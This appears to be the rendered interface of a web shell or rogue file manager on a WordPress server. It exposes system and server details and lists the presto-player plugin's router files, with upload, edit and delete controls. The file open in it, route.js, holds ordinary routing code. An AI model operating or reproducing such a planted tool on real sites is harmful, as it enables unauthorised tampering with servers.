[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
router
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 context.js
243 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.js
2,042 B
SET
[ EDIT ]
|
[ DEL ]
📄 link.js
1,016 B
SET
[ EDIT ]
|
[ DEL ]
📄 route.js
592 B
SET
[ EDIT ]
|
[ DEL ]
📄 utils.js
232 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: route.js
import { RouterContext } from "./context"; const { useContext } = wp.element; import { match } from "path-to-regexp"; let prev = ""; export function Route({ path, onRoute, children }) { // Extract route from RouterContext const { route } = useContext(RouterContext); const checkMatch = match(`${path}`); const matched = checkMatch(`${route.hash.substr(1)}`); if (!matched) { return null; } if (onRoute) { if (prev !== matched.path) { onRoute(); } prev = matched.path; } return <div>{wp.element.cloneElement(children, { route: matched })}</div>; }